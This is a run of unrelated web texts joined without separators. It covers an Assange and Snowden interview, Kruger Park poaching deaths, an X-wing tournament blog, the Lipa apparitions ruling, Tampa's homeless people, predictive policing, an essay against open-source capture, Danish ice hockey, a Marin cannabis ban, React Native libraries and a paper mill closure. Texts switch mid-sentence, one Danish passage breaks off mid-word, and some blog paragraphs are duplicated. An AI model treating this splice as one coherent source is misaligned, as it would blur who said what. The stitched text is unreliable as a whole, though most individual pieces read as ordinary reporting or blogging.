But how likely is it that Sweden, but also Britain with its close ties to the US, will ever give him a guarantee not to extradite him to the US?
So far they haven't done that yet. The UK is close to the United States, but so is Sweden. Sweden essentially does what the United States wants as well. So both countries have a problem in that respect. And we saw in the case of Edward Snowden what it really takes to stand up to the United States. Ed Snowden essentially had to go to a country that was willing to take on the United States. And Russia at least, was willing in large parts to do so.
What do you think Snowden's fate will be?
My hopes for Edward Snowden are that he is able to go to a country that he wants to go to that will give him asylum. And the one that right now looks the most likely is Venezuela. The problem for Ed Snowden is how does he get from Russia to Venezuela without the US pushing the plane down in some fashion. So that's where he is. At the same time, at least he is a free man compared to what he would be in the United States, in an underground prison here.MAPUTO, Sept 21 (Reuters) - Armed rangers in South Africa’s Kruger Park have killed nearly 500 mostly young Mozambicans for poaching activities over the past five years, according to former Mozambican president Joaquim Chissano.
Kruger, South Africa’s main tourist draw, is on the front lines of a surge in rhino poaching for the animal’s horn to meet demand in countries such as Vietnam, where it is a coveted ingredient in traditional medicine.
Poaching gangs are usually heavily armed and rangers in Kruger, which shares a porous, 350-km (210-mile)-long border with impoverished Mozambique, are allowed to open fire if threatened with lethal force.
Officials from the South African National Parks referred queries on Chissano’s comments made on Friday to police, who could not confirm the number of the poachers killed by Monday.
A spokesman at Kruger said data was not available on the number of poaching-related arrests made in the past year. The national parks agency says a majority of suspected poachers arrested are Mozambicans but given no figures.
Chissano, whose foundation is involved in conservation, said 82 Mozambican poachers had been killed in Kruger Park so far this year, compared with 106 during the whole of 2014 without citing the source for the figures.
“It worries me that quite a large number of Mozambicans killed in Kruger Park in poaching activities,” the former president said. “Each of these Mozambicans dead means more poverty for his family, because they can no longer count on him to fight for better living conditions.”
Mozambique is one of the world’s poorest countries, which drives some Mozambicans to try lucrative poaching in Kruger, but South African villages near the park have also been involved in illegal poaching.
In June last year, Mozambique approved a new law introducing tougher penalties against convicted poachers, including heavy fines and prison sentences of up to 12 years. (Reporting by Manuel Mucari; Editing by James Macharia and Mark Heinrich)Preparing for Store Champ season
So this year I plan on going to 6 Store Championships. And I set myself a challenge. I will fly a new list-archetype every tournament. Most-if-not-all will be meta-archetypes. Some of them will be new, some of them will be old. Some of them I will have flown before, some of them I never even touched.
Why would I do this? In preparation for the European Championship I consistently flew my Kanan/Biggs list. And I got good with it. At least good enough to be happy with it. But I also felt I became predictable. Flying a list you've rarely or never flown before makes you less predictable. And with 6 tournaments planned in about as many weeks it's also a tool to fight tournament fatigue. I love X-wing, but sometimes you have to protect yourself from a burn-out. And being the competitive player that I am I don't like to take intentionally 'gimped' stuff just for lulz and giggles. So let's break open the tournament-meta and as the Carolina Krayts say: "Git Gud!".
So I'm going to outline my planned lists here, with the link to a squadbuilder. Together with some of my previous experiences and plans with the list and some design decisions where applicable. These lists will not be in a specific order.
Thug life
http://xwing-builder.co.uk/view/305821/papercuts
Classic scum 4 TLT Y-wings with Unhinged Astromech. I flew these in a swarm during the 2015 Nationals. But I plan on flying them separate this time. Make them choose targets and always have several ships outside of range 1. Torpedo-boats are a threat as they can delete a Y-wing before it can fire. But if they survive the initial volley I might be able to remove a Jumpmaster myself. Fenn or anything with Autothrusters might be a problem. Classic scum 4 TLT Y-wings with Unhinged Astromech. I flew these in a swarm during the 2015 Nationals. But I plan on flying them separate this time. Make them choose targets and always have several ships outside of range 1. Torpedo-boats are a threat as they can delete a Y-wing before it can fire. But if they survive the initial volley I might be able to remove a Jumpmaster myself. Fenn or anything with Autothrusters might be a problem.
Den Trevura
http://xwing-builder.co.uk/view/721411/den-trevura
Disclaimer: I was basing this list of
Kanan/Biggs Disclaimer: I was basing this list of Justin Phua's World's winning list, turns out I made it exactly the same! (Okay, that might be an overreaction.) The combination of Unhinged Astromech and K4 Security Droid is great as it gives you free target locks on an amazing dial. This allows you to fire powered up Plasma Torpedoes. Though as preparation, I better re-watch that amazing final against Nand Torfs
http://xwing-builder.co.uk/view/653312/spark-of-rebellion
Ah, my personal favorite. I don't have a lot to say on this list. Went 5-4 at Euro's with it and you can read some tournament stories in previous blog posts.
BBBBZ Ah, my personal favorite. I don't have a lot to say on this list. Went 5-4 at Euro's with it and you can read some tournament stories in previous blog posts.
http://xwing-builder.co.uk/view/721412/bbbbz
An oldie, but a goodie. Classic Rebels swarm that brings 36 hit points to the table! I saw this list played, quite expertly by Benoît a few weeks ago. This sparked my interest in the build again as I now have enough B-wings to run it! It looks like a fun little swarm build, something I love to play. I believe it's generally assumed that the B-wing has a poor dial, but that 2 koiogran turn is pretty amazing. Intending on flying the B-wings in formation with the Z running interference and blocking. Collision Detector can give some options and help with tractor beams going around. It's free, so why not. Just need to get 4 of them, which is difficult as they are only available in the TIE/SF pack.
The Last Jedi An oldie, but a goodie. Classic Rebels swarm that brings 36 hit points to the table! I saw this list played, quite expertly by Benoît a few weeks ago. This sparked my interest in the build again as I now have enough B-wings to run it! It looks like a fun little swarm build, something I love to play. I believe it's generally assumed that the B-wing has a poor dial, but that 2 koiogran turn is pretty amazing. Intending on flying the B-wings in formation with the Z running interference and blocking. Collision Detector can give some options and help with tractor beams going around. It's free, so why not. Just need to get 4 of them, which is difficult as they are only available in the TIE/SF pack.
http://xwing-builder.co.uk/view/659592/the-last-jedi
A fluff-build! Classic Sloop-Rey with Kanan + Luke in his X-wing. For Rey, Finn works together well with Rey's title. Kanan works together with the sloop from the Millennium Falcon. Inertial Dampeners gives some movement options, sadly doesn't work together with Kanan. Luke can modify focus results on both offense and defense. R2-D2 gives some regen abilities to Luke. Going to fly them in loose formation.
Triple Defenders A fluff-build! Classic Sloop-Rey with Kanan + Luke in his X-wing. For Rey, Finn works together well with Rey's title. Kanan works together with the sloop from the Millennium Falcon. Inertial Dampeners gives some movement options, sadly doesn't work together with Kanan. Luke can modify focus results on both offense and defense. R2-D2 gives some regen abilities to Luke. Going to fly them in loose formation.
http://xwing-builder.co.uk/view/608253/triple-defenders
TIE/X7 isn't dead. On the other hand, in the hands of a skilled pilot the nerf doesn't even matter. At least that's my feeling. Vessery is obvious the juicy target here. He get's his target locks for free thanks to the locks from Countess Ryad and Onyx Squadron Pilot. Onyx can run interference and blocking and with Ryad's improved movement capabilities I assume these will not fly in formation.
Got any tips for me? Any other builds I should try when another Store Championship becomes available? Do you know of any other Store Championships going on? Something in Flanders not yet on T3 or maybe in the Netherlands or Germany along the border? Let me know in the comments below! TIE/X7 isn't dead. On the other hand, in the hands of a skilled pilot the nerf doesn't even matter. At least that's my feeling. Vessery is obvious the juicy target here. He get's his target locks for free thanks to the locks from Countess Ryad and Onyx Squadron Pilot. Onyx can run interference and blocking and with Ryad's improved movement capabilities I assume these will not fly in formation.Got any tips for me? Any other builds I should try when another Store Championship becomes available? Do you know of any other Store Championships going on? Something in Flanders not yet on T3 or maybe in the Netherlands or Germany along the border? Let me know in the comments below!“We do not need apparitions to honor the Blessed Virgin Mary.”
This was the response of Catholic Bishops Conference of the Philippines (CBCP) president Archbishop Socrates Villegas when asked to comment on a Vatican decree stating that the Marian apparitions in Lipa City, Batangas, that supposedly happened more than 60 years ago had no “supernatural origin.”
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The Vatican’s move reversed the declaration made earlier by Lipa Archbishop Ramon Arguelles that the phenomenon was “worthy of belief.”
Villegas, head of the Lingayen Dagupan archdiocese, said that Mary’s “being the mother of Jesus is our first and constant reason for honoring her.”
“We do not need apparitions to honor her,” he said in a text message to reporters.
He added that the CBCP would abide by the decision of the Holy See.
“Rome has spoken. The case is closed. We all obey the Holy See,” Villegas said.
The “Lipa apparitions” were a series of alleged apparitions of the Blessed Virgin Mary under her title as Mediatrix of Grace at the convent of Carmelite contemplative nuns in Lipa City in 1948.
The incidents became a public cause célèbre, especially since the apparitions were accompanied by a rain of rose petals.
But a commission formed by the apostolic administrator of Lipa at that time, Bishop Rufino Santos, later ruled that the apparitions were not authentic.
In 2012, Arguelles reversed the stand of Santos’ commission and ruled that the apparitions were genuine.
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In its decree, the Sacred Congregation of the Doctrine of the Faith (CDF) of the Holy See argued that Pope Pius XII made a “definitive” confirmation in 1951 against “the supposed apparitions” and declared they “were not of supernatural origin.”
“Furthermore, the (CDF) repeats its instruction that any and all commissions studying the question of the alleged supernatural phenomenon of the alleged apparitions in the Carmel of Lipa be immediately disbanded,” the decree said.
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MOST READCouriers organising through the IWGB Couriers and Logistics Branch, who’ve recently won an increase at CitySprint, were planning a protest for Wednesday morning highlighting the low wages paid by E-Courier. That’s now been called off, as they report that a branch meeting has voted to accept an increased pay offer:
By the Unions calculations this package will bring e-couriers into Living Wage territory, as well as addressing the costs currently incurred by riders to keep pedalling each day. The package includes an additional 20p per docket on top of 20p increase from last month, plus an increase in weekly bonus cap, free uniforms, and 10p per mile compensation for costs. This amounts to a nearly 30% pay rise and is a major VICTORY for Couriers who have took a stand against exploitation! We are celebrating E-Courier’s choice to better the lives of their fleet (although it took more than a little nudging to provoke it!). We will be keeping close tabs on the implementation of these changes to make sure every penny promised will be payed to the couriers- please note however that Wednesday’s protest is CANCELLED- and for E-Couriers: CONGRATULATIONS ON YOUR PAYRISE!!!
When we organise, and take bold, imaginative action, we can win. Congratulations to the E-Couriers riders.
AdvertisementsImage caption Only a minority of Tampa homeless cited drugs or alcohol as the reason for their destitution
Security in Tampa, Florida, surrounding the Republican National Convention has created hassles for everyone who lives and works in the city.
And for the city's large homeless population, the convention presents a major disruption in an already tenuous existence.
With its ordinarily fair weather and capacious convention and hotel facilities - not to mention Florida's prized 29 electoral votes, out of 270 needed to win the White House - Tampa presented an attractive option for Republican Party convention planners.
But the city also has the highest rate of homelessness in America, according to the National Alliance to End Homelessness.
About half those people told surveyors they became homeless for financial reasons - including the area's high unemployment and real estate prices. Only 7% cited drugs or alcohol.
Less than a mile and a half from the convention's catered lunches, lobbyists' cocktail hours and media scrums, on Wednesday dozens of homeless men and women were milling about the Salvation Army emergency shelter north of downtown.
The shelter, which is ordinarily shuttered during daylight hours, had been opened as an emergency refuge where the homeless could store their belongings and stay out of the way of thousands of police officers - as well as the thousands of Republican politicos and journalists who swarmed into the city for the convention.
'No riff-raff'
"They don't want to be on the streets," said Steve Vick, general manager of the Salvation Army of Hillsborough County. "Imagine if you're downtown with a big bag on your back."
In interviews in Tampa this week, homeless men and women reported increased pressure and hostility from downtown police as the convention came to town.
And they said many of the locations where they typically rest, pass the time and search for jobs have been rendered off limits behind the security cordon.
Image caption Gina Molina-Abella warns others not to be seen with their bags in case police harass them
"It's what I would call a clean-up operation," said Gina Molina-Abella, a 49-year-old former waitress who has been homeless since her husband died last year and left her unable to pay her rent.
"They want to make sure when the Republicans come to town, there's no riff-raff on the street."
Mr Vick said homeless people reporting increased pressure from police are probably caught up in the same security hassles as everyone else, and assume they are being targeted specifically for harassment.
"If you're the person who they have told to move on, it's personal. But it's not. It's the same for everyone."
But the Secret Service and police have blocked off a swathe of downtown Tampa, set up check points, erected security fences, and otherwise disrupted the ordinary flow of pedestrian and automobile traffic.
And the Tampa police department's homeless liaison officer acknowledged in an interview that many of the out-of-town police officers supporting the Tampa force may be unfamiliar with the city's relatively lenient treatment of its homeless.
'Overflowing'
"It might be the case they're trying to deal with situations as they come up and they might be telling them just to leave or to move along," said Officer Daniel McDonald.
"There's probably going to be individual cases where [homeless people] may incorrectly be told to move along. I'm hoping that if that's the case, it's for their safety."
Image caption Security officials walk through the convention hall in Tampa, Florida
Ernest Grandison, a US Army veteran homeless since January, said the pressure from police had increased in recent weeks. Before the security ratcheted up for the convention, police would let him be, he said.
"Now," said Mr Grandison, "if you stop to rest on a bench, they pull up and say, 'you need to leave'."
Mr Grandison, who attributed his homelessness in part to past struggles with drugs and alcohol, said the security cordon has added an extra 90 minutes to his walk to a church near downtown that serves a hearty breakfast on Sundays.
"Other places that feed, you can't get there no more," he said. "If we go to these places, we get stopped by the police: 'Where you going? What you doing?'"
In interviews, homeless people recited a litany of inconveniences that seem far more profound than those suffered by middle-class Tampa residents during the convention.
Two downtown public libraries - where homeless men and women pass time during the day reading, resting or using the computers to search for jobs - are closed this week.
A downtown park along the waterfront has been requisitioned by the city of Tampa to throw parties for convention-goers, ejecting the homeless people who hang out there.
Harassment
Homeless people have been told to move their caches of belongings from bushes and other hide-aways downtown.
Image caption Pastor Tom Atchinson says the city made no provision for the homeless during the gala
"You're bringing in tens of thousands of people into our downtown area where homeless people do live," said Lesa Weikel, community relations manager for the Homeless Coalition of Hillsborough County.
"People start getting pushed out. Disagreements happen. Things get stolen. Homeless people don't have a place to put their belongings. They sit on the same park bench that our visitors want to sit on."
Tampa shelters and support organisations have responded to the increased pressure on the homeless, though they have been offered no public support for doing so.
"We're full all the time now," said Pastor Tom Atchison, founder of New Beginnings, a homeless services organisation.
"We're overflowing because they're being tough on the homeless downtown. They've spent millions of dollars in Tampa on decorations and security, and they didn't make any provision for the folks who are disenfranchised."
Ms Molina-Abella offered advice to her fellow homeless people as they bide their time until the convention closes on Friday: "Don't let them see you sitting in a park with your bags - they will come and harass you."In the year since its program has been fully in place, Kansas City has had a significant decrease in homicides. The city had averaged 114 homicides a year over a four-and-a-half-decade period through 2013. And the number of murders hovered over 100 in the roughly five years before NoVA’s inception. But murders plummeted to 80 last year, a 20 percent drop from 2013. While assaults with guns also decreased last year, overall assaults increased.
Whether those changes were linked to NoVA is difficult to say, because fluctuations in crime are almost always a result of multiple factors. At the same time, a report released recently by the University of Missouri-Kansas City found that while crime decreased drastically early last year as NoVA was fully in place, the drop tapered off. It is too soon to determine if decreased crime will be a long-term trend, the report said.
In other places, the success of the algorithms has been spotty or difficult to assess.
John S. Hollywood, a senior operations researcher at the RAND Corporation, said that in the limited number of studies undertaken to measure the efficacy of predictive policing, the improvement in forecasting crimes had been only 5 or 10 percent better than regular policing methods.
The Memphis police force, a pioneer in predictive policing, has worked with the University of Memphis for about a decade to forecast crime by noting time and location of episodes and information about victims. Officers then flood those areas with marked and undercover police cars, and also increase traffic stops, the department said.
But violent crime has proved stubborn in Memphis, and the city continues to be one of the most dangerous places in the nation, according to F.B.I. data.
In Kansas City, NoVA officials gather about 30 to 40 patrol officers about once a quarter to discuss and examine intelligence gathered on the street — details not necessarily captured in official documents. The information often comes from informal conversations that officers have with people on the street about things like who is arguing and who might have committed a violent crime.
The authorities have identified about 930 people who belong to 57 criminal groups in the city, said Maj. Joe McHale, the project leader for NoVA, who also commands the Police Department’s violent crime division. And there are about 125 people whom the authorities consider central figures in those groups, he said. The Kansas City authorities say they hope that if their zero tolerance for violence message gets through to these influential figures, it will be passed on to others who listen to them.pieterh wrote on
Ars Technica has an interesting article on how Google is closing off Android piece by piece. It is a classic game of "capture the flag", played against an open source community. I'm going to explain how this capture works, and how to prevent it.
Why Capture the Flag?
As Ars Technica says, "It's easy to give something away when you're in last place with zero marketshare, precisely where Android started. When you're in first place though, it's a little harder to be so open and welcoming."
Android is, to be fair, largely Google's investment. You could argue that they are entirely justified to turn it from an open system into a closed one, and you'd be right. However, it is like arguing that a central bank is entirely justified in issuing too much currency and creating devaluation. Sure, there is a justification. However there is also a cost, paid by other people. The question is not, is this act justified, but is the price paid by wider society acceptable, and if not, how do we prevent it?
Android is, like any "open source" system sold to the market on that basis, common property. When someone privatizes it, they are increasing their profits, like a money-printing central bank, at the expense of everyone else. By forking Android applications like search, calendar, music, and making their own better versions, Google is competing with other firms using Android on their devices.
The question of capture, how it happens, and how to prevent it, is especially important if you are not Google, i.e. if you are the user of, or a contributor to, an open source project. Android contains many patches from other firms, like LG, Samsung, and so on. As Google turns the operating system into its own private garden, those patches start to be used against the very people who made them.
I believe Google is making a huge mistake in moving the goalposts like this, simply because it will encourage competition against Android. However, that's not my point. I'm just interested in applying any lessons I can learn to my own work, and my own projects.
Two things stand out:
Out of pure self-interest, I will not contribute to an open source project that does not guarantee me, as contributor, that my patches and changes will never be turned into private code, and used against me.
Out of a sense of ethics, I will never create an open source project that does not provide these guarantees to anyone contributing to it.
The Use Case
Let me be very explicit about the use case. It is the Android case: one firm starting an open source project as loss leader, to break an existing market, and asking for help from others to do so. It is a classic strategy and can be very successful. However this is most definitely not the same as a student's research project, a "let's open source our legacy payroll system" dump, or a "five of us got together in a garage and decided to make a new framework" case.
These overlap, and I think the lessons here do apply more widely (and I certainly apply them systematically) yet again, my use-case is the "open source as market breaker" one.
The important thing about an open source market breaker is that it depends on a community to pitch in. Any market follows a power curve where a few players dominate the market, and a majority of players are frustrated. It's by promising this frustrated crowd a way out, that you can convince them to invest in something new and open and potentially game-changing.
Most open source is a failure (seriously, go read some random GitHub projects and see how many are relevant), and even most successes are modest successes that barely matter. As long as there's no serious shift in power, the project can remain a potential market breaker for a long time. It can look very stable and happy. Well, it's easy to be friendly when there's no money on the table.
If and when the project succeeds, the game changes, and the clever guys who launched the market breaker seek to pluck the fruit, and keep it for themselves. And only now do things get interesting.
A Level Playing Field is Not "Restrictive" FFS
There are several ways to capture an open source project, including trademarks and patents. I'm going to look only at copyrights, because this is the most common case. The key agreements that govern the copyright status of an open source project are (a) the license and (b) the contribution policy.
It's a common misconception that "open source" means the code cannot be captured. That is simply wrong. Broadly, there are three types of agreement for copyright:
A "locked down" license that does not allow remixing, in other words, classic copyright plus some restrictive license. A "free to take" license that allows one-way remixing, such as Apache/BSD/MIT. A "share-alike" license that enforces two-way remixing, such as GPL, LGPL, and cc-by-sa.
Imagine a DJ who releases a popular beat under the "free to take" model. A major record label takes his beat and makes a remix, and releases it. It becomes a massive hit. Now that new version is locked down. The DJ cannot remix that new work, and may find himself unable even to play the remix. Sure, he can take his old version and improve it, yet it's the commercial version that will get the money.
I trust you see what I am getting at here. Even the best individual talent cannot compete equally with a large firm with marketing and money. The only way I know to guarantee a level playing field in a war of control over culture is a bilateral guarantee of remixing. Bilateral means it goes two ways.
When people call that guarantee "restrictive", I sigh. It's like calling the lock in my car "restrictive" because it stops others from making my car theirs. To call protection from thieves "restrictive" is… well, a failure to think things through, at least. Making rules apply both ways is not restrictive, OK!?
How Does the Capture Work?
Let's clearly restate the goal again, with this exercise. It is to prevent the capture of an open source project by someone with lots of money and power, who is determined to harvest the fruits of the project for their own benefit, at the cost of the community who helped make, or who made the project. I don't care how "justified" such a capture might be, it's what I'm explaining how to prevent.
The license and contribution policy are two halves of one puzzle.
Who owns the copyrights? Are they "centralized" by the project founders, or are they shared by all contributors? It's a vital question. If they are centralized then it is a trivial exercise to buy the copyrights, fork the project, change the license unilaterally, and move off in a closed direction. However, if the copyrights are shared, i.e. many people own the work, together, you need all of their agreement (not a majority, but 100% consensus) to change the license. And that is logistically impossible.
As an aside, if you knew how many people had offered me money for a commercial license for ZeroMQ, you would be astonished (it is a lot). The notion is simple: I sell them a non-LGPL license, they pay me good money, and they make their own versions of ZeroMQ. If I'd not made this impossible, on purpose, a long time ago, I'd be very wealthy. As it is, I have to settle with poor but happy in the knowledge that ZeroMQ will survive me.
Let's examine again the problem with offering commercial licenses to a collaborative work on the side. Imagine a club that hosts DJs, who mix their beats. But the club keeps the copyrights, and sells them to a record label, which makes its own remixed album that the original DJs cannot play for free. So yes, I consider dual GPL/commercial licensing to be a corrupt practice.
No-one will pay for a commercial license for a "free to take" project, since they can just take the code and use it. To some extent I think that is already corrupt, since it breaks the level playing field. A large firm can obviously benefit more from such a license than small teams. Again, imagine your independent DJs against a record label with their marketing and media connections and concert venues.
Now we come to step two of the capture: hire the devs.
"But the code is still free!", people say. Sure. Back to the record label vs. the DJs. Let's say the label hires just one DJ, the key man, and uses him to push the new commercial mix album. Where is the public going to go?
You don't need to hire all the contributors to a community in order to 0wn it. In any random project there will be at most 2-3 top contributors and a large mass of minor ones. Hire the top two, and you can take the project anywhere you like. If the results are remixable, that journey will be entirely fair to those who contributed before. And if not remixable, all other contributors will find their own investments used against them.
Preventing Capture
There is only one model I know that prevents capture of an open source software project, and that is:
A GPL-family license (or MPLv2, which works the same). Distributed copyrights.
This is how I construct the open source projects I start, and it's the requirement for any community I join. Your right to make money does not include the right to use my work in a competing product, unless that's reciprocal.- And the winner is …Denmark!
Sådan lød det fredag formiddag i Minsk i Hviderusland, da præsidenten for det internationale ishockeyforbund (IIHF), René Fasel, afslørede, hvem der skal arrangere VM i 2018.
Afstemningen mellem Danmark og Letland, som var de to bejlere til arrangementet, faldt endda ud med stort flertal for Danmark.
Af de delegerede ved VM i ishockey stemte 95 på Danmark og 12 på Letland.
Glæden er kolosal i Danmarks Ishockey Union.
- Det er svært at få armene ned. Dette er en historisk dag for dansk ishockey og med tanke på det arbejde, der er lagt i at få dette VM til Danmark, så tør jeg godt sige, at det heller aldrig bliver overgået, siger formand Henrik Bach Nielsen.
- At vinde VM til Danmark i 2018 er en skelsættende begivenhed for vores sport, og både som dansker og formand for dansk ishockey, er jeg meget stolt. Efter 12 år i A-gruppen er det nu vores tur til at afholde VM og sammen med Sport Event Denmark og værtsbyerne Herning og København, kan vi nu trække i arbejdstøjet, siger den danske ishockeyformand i en pressemeddelelse.
De 64 kampe, som et A-VM i ishockey omfatter, afvikles over 17 dage. Kampene vil blive spillet i Jyske Bank BOXEN og i den kommende Royal Arena i København, hvor kulturborgmester Carl Christian Ebbesen (DF) jubler om kap med ishockeyformanden.
- Det er fantastisk, at København skal lægge is til A-VM i ishockey i 2018. At vi har vundet værtskabet viser, at København hører til blandt de bedste sportsbyer i verden.
- København og Herning k |
country, our country by the thousands. You see what’s happening in Germany, it’s a mess. You look at Sweden and some of these other countries that are taking them… it’s a total mess and I want to be very, very careful so I’m gonna be extremely vigilant and careful....
It’s a temporary ban, Brian. And we’re gonna look at it and we’re gonna study a problem… we have a problem. Now if you don’t want to discuss the problem, we’re never gonna solve the problem.
We have a president that won’t even use the term ‘radical Islamic terrorism.’
Our president refuses to discuss the term [radical Islamic terrorism] and it’s a real problem, not only here but throughout the world. It’s a real problem, so we’ll figure it out and we will get it going but we have to be extremely careful. In fact, I’m thinking about setting up a commission perhaps headed by Rudy Giuliani to take a very serious look at this problem. But this is a worldwide problem and we have to be smart.San Rafael, CA – To maintain local control over nonmedical cannabis in the future, the Marin County Board of Supervisors voted unanimously on February 7 to ban nonmedical cannabis business activities in unincorporated areas.
“Our primary focus is to consider medical cannabis dispensaries over the next few months,” said Board President Judy Arnold. “Banning nonmedical cannabis business activities allows us to preserve local control rather than accept state-imposed guidelines.”
California voters passed Proposition 64, also known as the Adult Use of Marijuana Act, in November 2016. It allows local governments to ban business activities or develop local ordinances to govern nonmedical cannabis business activities. Adults over 21 can still use cannabis and cultivate up to six plants indoors following certain restrictions.
The new County ordinance, passed at a hearing that lasted less than 5 minutes with no public comment, contains two prohibitions. First, it prohibits all recreational cannabis business activities in unincorporated Marin, including manufacturing and retail distribution. Second, it prohibits outdoor cultivation. The local ban gives the County time to implement and learn from the licensing program for medical cannabis dispensaries that is currently underway.
With the ban on nonmedical cannabis, residents living near a licensed medical cannabis dispensary in the future would be assured that such a business would be licensed for medical purposes only.
The County is hosting three public meetings so residents can learn more about applicants and locations for proposed medical cannabis dispensaries. The first meeting in the Tamalpais Valley area south of Mill Valley attracted more about 150 people, and the second was scheduled for 6 p.m. February 7 at Lagunitas School in the San Geronimo Valley. The final one is at 6 p.m. February 16 in the Marin County Board of Supervisors chamber, 3501 Civic Center Drive, San Rafael. No decisions are being made at any of the meetings; they are designed for the advisory committee members to hear public feedback, concerns and suggestions.
Although cannabis is considered an illegal drug by the federal government, Proposition 215 has since 1996 ensured that seriously ill Californians have the right to obtain and use cannabis for medical purposes upon receiving a recommendation from a physician. The County’s ordinance is consistent with the state’s Compassionate Use Act and Medical Cannabis Program. A licensed dispensary would have to be least 800 feet from schools, public parks, smoke shops, and other cannabis dispensaries to qualify for a permit.
Learn more about the County’s cannabis programs at www.marincounty.org/cannabis.Thank you! The Pay-what-you-wish sale is over.
Thank you for your support!
Here's some numbers and graphs... 1433 copies of the bundle were sold in 5 days.
A total of $9,718.73 US Dollars was paid.
629 People paid the minimum amount.
27 People paid 50 dollars or more. They receive a special surprise.
The highest price paid was 100 Dollars. 3 People did this. Thank you!
The gross revenue can be divided in five more or less equal parts.
Gross revenue made in North America and Europe is about the same.
Germany and the UK win in Europe.
When comparing sales with population, it appears that the bundle was most popular in Sweden, with almost 4 sales per million residents.
The charts for sales per platform and per gender are oddly similar.
We really need to encourage women to buy more games!
The average price paid by women was $7.37, while men paid $6.60 on average.
The average price paid for the Mac version was $7.60, for the PC version $6.62.
The Day of the Dead bundle includes these 3 remarkable videogames:
The Graveyard is a very short game in which you play an old lady who visits a cemetery. You walk towards a bench, you sit down and you listen to a song. And then you die. Maybe.
The Path is a horror game inspired by Red Ridinghood. There is one rule in the game. And it needs to be broken. There is one goal. And when you attain it, you die.
Fatale is a living tableau filled with references to the legend of Salome. You play John the Baptist, after he was beheaded on the whim of a spoiled princess.React Native has made mobile application development process bliss for developers, there’s no doubt in that. I’ve been working on it full time since last 5 months and I couldn’t be more happier then how I’m right now.
After working on bunch of React Native projects, I was retrospecting the libraries I was using and turns out there are quite few of them which are essentially shaping up my projects very well. Hence, I thought I could compile a list and share it with the community.
Here we go:
Most of the users who download our application are usually not aware with the complete offering of it. Icon of an application doesn’t give any idea about the offering either. That is the reason, ramping up users or educating them about an application with few pointers could help in long run.App intro library provides an easy way to quickly wire up some basic or even high end introduction screens in to an application, which can then result in informative onboarding.
2. React Native Vector Icons
Icons adds a significant user experience improvement in any application. They have a soothing effect on users eye and mind if used effectively. Using appropriate icons can directly impact how the user perceives an application.This library supports multiple well crafted icons by popular publishers with an elegantly designed API to integrate them smoothly in a React Native applications.
3. React Native Gifted Form
Getting users to enter some sort of data in a multiple form fields could be a complex user experience to build; Whole form experience has to play nicely with the users’ keyboard, fields has to respond to action buttons, date/time picker etc. there are too many variables to take care of.To be honest, there’s no one-size-fit-all library available to solve this problem. Having said that, Gifted Form comes bundled with most of the common solutions in form filling. It could be useful if you don’t want to roll your own solution and tackle all those problem by yourself.p.s: react-native-gifted-form could be difficult to customize incase you are looking for something other than what it offers.
4. React Native Push Notification
I believe, I don’t need to write do any explaining about the important of “Push Notification” in mobile application ecosystem. So I’ll just get to the point, You should use this library for any push notification related functionality even if your application is currently focused on iOS (your future self will thank you).React Native comes with its own push notification for iOS module but, this library makes the job easier when you want to support both the platform.
5. React Native Share
Sharing any type of data should be a blissful experience for your users. It is the most important channel of growth for your application.I recommend this library because of its cross platform native support for sharing content. It uses iOS share sheet and Android share intent. (Also, it supports Windows platform as well :D)
6. React Native Image Progress
An image speaks thousand words; what if it takes time to load? Your application might look funny while the image is loading and it may give awrong impression to the end user.Using an image progress bar always keep users glued to the screen and gives them predictability. WIN-WIN.
7. React Native Google Analytics Bridge Okay, this library is in the list not to tell you why to use Google Analytics but to tell you which library to use and why.There are multiple libraries available to integrate GA in your application but, most of them simply utilizes GA’s API and not it’s official SDK resulting in incomplete tracking. This library however, adds a React Native wrapper around GA’s official SDK giving you full grip on your analytics dashboard.
8. React Native Fabric
Fabric.io by Twitter has evolved recently with a lot of great tools for mobile application developers to help them with pre-launch / post-launch related problems.Nonetheless, I’m particularly interested in Crashlytics. It helps gain enough insights about crashes in my applications by pin-pointing the cause of the issue. Highly recommended.
9. React Native CodePush
Concluding the list with one of my personal favorite and could be labeled as a life saver for developers library.Using CodePush one can ship changes to an existing production mobile application without going through the review process of App Store (Apple approves of this) or waiting for the users to update their apps. It enables you to fix bugs on the fly or release features with a lot of flexibility.It of course has some limitation to what extend you can make changes in a codebase despite that, it succeeds. It’s a must have.
you can watch my screencast on how to use code-push with react-native.
Bonus:
React Native Sleek Loading Indicator A drop in sleek loading indicator library for your application to show more then just a spinner.
Disclaimer: I’m the author of this library.
Huge thanks to all the maintainers of above libraries for their enormous efforts behind them.Owners of the paper-recycling mill in Snowflake plan to close the facility in Sept. 30, putting 300 people out of work, but Phoenix investors could purchase it to keep the mill and the neighboring biomass power plant running.
The mill's closing would leave its 308 salaried and hourly employees without work in Navajo County in northeastern Arizona, which had a reported 14.5 percent unemployment rate for June.
"We anticipate that at least half of those employees live in the Snowflake-Taylor area," Snowflake town manager Paul Watson said. "It's devastating the fact that we all of a sudden within two months are going to have that many employees out of work."
Canadian company Catalyst Paper Corp. said it will shutter the Snowflake mill because of lagging profit.
However, Phoenix-based private-investment outfit Najafi Cos. is in discussion with the paper company to purchase the mill and maintain operations.
Najafi Cos. owns the biomass power plant next door, Snowflake Power, and CEO Jahm Najafi said the plant has a symbiotic relationship with Catalyst Paper.
The power plant gets part of its fuel for free from the recycling mill, because the mill cannot reuse all of its recycled material. It instead becomes "paper sludge" that is sent to the biomass plant to burn along with scrap wood from the forest to make electricity.
Snowflake Power, which employs 100 workers and subcontractors in the area, no longer would have that opportunity if the mill closed. Najafi Cos. discussed the possibility of buying the mill Tuesday.
Snowflake Power provides electricity to Arizona Public Service Co. and Salt River Project.
"I'm not sure if anybody realized that they were going to close," Najafi said. "We hope that we can come to a resolution on both plants in the not-too-distant future."
Despite the discussions, Watson said Snowflake town officials already are making it their first priority to support the people affected by the closure. Snowflake has a population of 5,587 people, according to the U.S. Census Bureau.
"We're actively in the process of working with the state and regional economic development groups," he said. "The state is trying to address those concerns from the standpoint of unemployment benefits, trying to find replacement work."
The Catalyst Paper-owned recycling mill is one of the largest employers in the region. Although the town knew the mill was struggling, Watson said the announcement of the closure was not anticipated and will hurt an already distressed economy.
"Until this announcement, we thought this particular operation would just have to make some adjustments and changes," Watson said.
APS officials said Tuesday they had just learned of the paper mill's plans to close and did not know if it would affect their contract to purchase power from the biomass plant, which runs through 2023.
APS is required to get 15 percent of its electricity from renewable sources by 2025, and the electricity it gets from the biomass plant helps it reach that state-mandated goal.
"It's still to early, we're not sure what we would do (if it closes,)" APS spokeswoman Jenna Shaver said.
Catalyst Paper acquired the Snowflake operation in 2008. The mill only recycled newsprint, but the paper company began producing higher-value specialty paper grades to cope with market challenges and input cost pressures, it said.
